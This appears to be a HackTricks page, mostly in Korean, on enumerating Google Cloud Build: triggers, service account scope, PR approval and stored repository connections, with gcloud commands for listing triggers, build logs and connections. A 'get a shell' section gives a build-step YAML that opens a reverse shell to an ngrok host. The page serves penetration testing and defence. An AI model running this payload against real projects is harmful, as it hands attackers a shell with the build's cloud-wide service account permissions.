GCP - Cloud Build Enum

Support HackTricks

기본 정보

Google Cloud Build는 소프트웨어 빌드 및 릴리스 프로세스를 자동화하는 관리형 CI/CD 플랫폼으로, 소스 코드 저장소와 통합되며 다양한 프로그래밍 언어를 지원합니다. 개발자가 코드를 자동으로 빌드, 테스트 및 배포할 수 있도록 하며, 빌드 단계와 워크플로우를 사용자 정의할 수 있는 유연성을 제공합니다.

각 Cloud Build Trigger는 Cloud Repository와 관련이 있거나 외부 저장소(Github, Bitbucket 및 Gitlab)와 직접 연결됩니다.

저는 여기서나 Cloud Repositories에서 Github/Bitbucket 토큰을 훔칠 수 있는 방법을 찾을 수 없었습니다. 저장소가 다운로드될 때 https://source.cloud.google.com/ URL을 통해 접근되며, Github는 클라이언트에 의해 접근되지 않습니다.

이벤트

Cloud Build는 다음과 같은 경우에 트리거될 수 있습니다:

  • 브랜치에 푸시: 브랜치 지정

  • 새 태그 푸시: 태그 지정

  • 풀 리퀘스트: PR을 받는 브랜치 지정

  • 수동 호출

  • Pub/Sub 메시지: 주제 지정

  • Webhook 이벤트: HTTPS URL을 노출하며 요청은 비밀로 인증되어야 함

실행

다음 3가지 옵션이 있습니다:

  • 실행할 명령을 지정하는 yaml/json. 보통: /cloudbuild.yaml

  • 웹 콘솔 및 CLI에서 "인라인"으로 지정할 수 있는 유일한 옵션

  • 가장 일반적인 옵션

  • 인증되지 않은 접근에 관련됨

  • 빌드할 Dockerfile

  • 빌드할 Buildpack

SA 권한

Service Account는 cloud-platform 범위를 가지며, 모든 권한을 사용할 수 있습니다. SA가 지정되지 않은 경우(예: 제출 시) 기본 SA <proj-number>@cloudbuild.gserviceaccount.com사용됩니다.

기본적으로 권한이 부여되지 않지만, 권한을 부여하는 것은 비교적 쉽습니다:

승인

Cloud Build를 구성하여 빌드 실행에 대한 승인을 요구할 수 있습니다(기본적으로 비활성화됨).

PR 승인

트리거가 PR인 경우 누구나 공개 저장소에 PR을 수행할 수 있기 때문에 트리거를 모든 PR로 실행하도록 허용하는 것은 매우 위험합니다. 따라서 기본적으로 실행은 소유자 및 협력자에게만 자동으로 이루어지며, 다른 사용자의 PR로 트리거를 실행하려면 소유자나 협력자가 /gcbrun을 댓글로 달아야 합니다.

연결 및 저장소

연결은 다음을 통해 생성할 수 있습니다:

  • GitHub: Github 토큰을 얻기 위한 권한을 요청하는 OAuth 프롬프트가 표시되며, 이는 Secret Manager에 저장됩니다.

  • GitHub Enterprise: GithubApp 설치를 요청합니다. GitHub Enterprise 호스트에서 인증 토큰이 생성되어 이 프로젝트의 Secret Manager 비밀로 저장됩니다.

  • GitLab / Enterprise: API 접근 토큰과 Read API 접근 토큰을 제공해야 하며, 이는 Secret Manager에 저장됩니다.

연결이 생성되면, 이를 사용하여 Github 계정이 접근할 수 있는 저장소를 연결할 수 있습니다.

이 옵션은 버튼을 통해 사용할 수 있습니다:

이 방법으로 연결된 저장소는 2세대 트리거에서만 사용 가능합니다.

저장소 연결

이것은 **connection**과 동일하지 않습니다. 이는 Github 또는 Bitbucket 저장소에 접근할 수 있는 다른 방법을 제공하지만 연결 객체를 생성하지 않으며, 대신 1세대 저장소 객체를 생성합니다.

이 옵션은 버튼을 통해 사용할 수 있습니다:

스토리지

때때로 Cloud Build는 트리거 파일을 저장하기 위해 새로운 스토리지를 생성합니다. 예를 들어 GCP가 제공하는 예제에서 발생합니다:

git clone https://github.com/GoogleCloudBuild/cloud-console-sample-build && \
cd cloud-console-sample-build && \
gcloud builds submit --config cloudbuild.yaml --region=global

A Storage bucket called security-devbox_cloudbuild is created to store a .tgz with the files to be used.

쉘 얻기

steps:
- name: bash
script: |
#!/usr/bin/env bash
bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/12395 0>&1
options:
logging: CLOUD_LOGGING_ONLY
Install gcloud inside cloud build:
cloud build 내부에 gcloud 설치:
# https://stackoverflow.com/questions/28372328/how-to-install-the-google-cloud-sdk-in-a-docker-image
curl https://dl.google.com/dl/cloudsdk/release/google-cloud-sdk.tar.gz > /tmp/google-cloud-sdk.tar.gz
mkdir -p /usr/local/gcloud
tar -C /usr/local/gcloud -xvf /tmp/google-cloud-sdk.tar.gz
/usr/local/gcloud/google-cloud-sdk/install.sh

Enumeration

빌드 구성 및 로그에서 민감한 정보를 찾을 수 있습니다.

# Get configured triggers configurations
gcloud builds triggers list # Check for the words github and bitbucket
gcloud builds triggers describe <trigger-name>

# Get build executions
gcloud builds list
gcloud builds describe <build-uuid> # Get even the build yaml if defined in there
gcloud builds log <build-uuid> # Get build logs

# List all connections of each region
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
for region in $regions; do
echo "Listing build connections in region: $region"
connections=("${(@f)$(gcloud builds connections list --region="$region" --format='value(name)')}")
if [[ ${#connections[@]} -eq 0 ]]; then
echo "No connections found in region $region."
else
for connection in $connections; do
echo "Describing connection $connection in region $region"
gcloud builds connections describe "$connection" --region="$region"
echo "-----------------------------------------"
done
fi
echo "========================================="
done

# List all worker-pools
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
for region in $regions; do
echo "Listing build worker-pools in region: $region"
gcloud builds worker-pools list --region="$region"
echo "-----------------------------------------"
done

Privilege Escalation

GCP - Cloudbuild Privesc

Unauthenticated Access

GCP - Cloud Build Unauthenticated Enum

Post Exploitation

GCP - Cloud Build Post Exploitation
HackTricks 지원하기

Last updated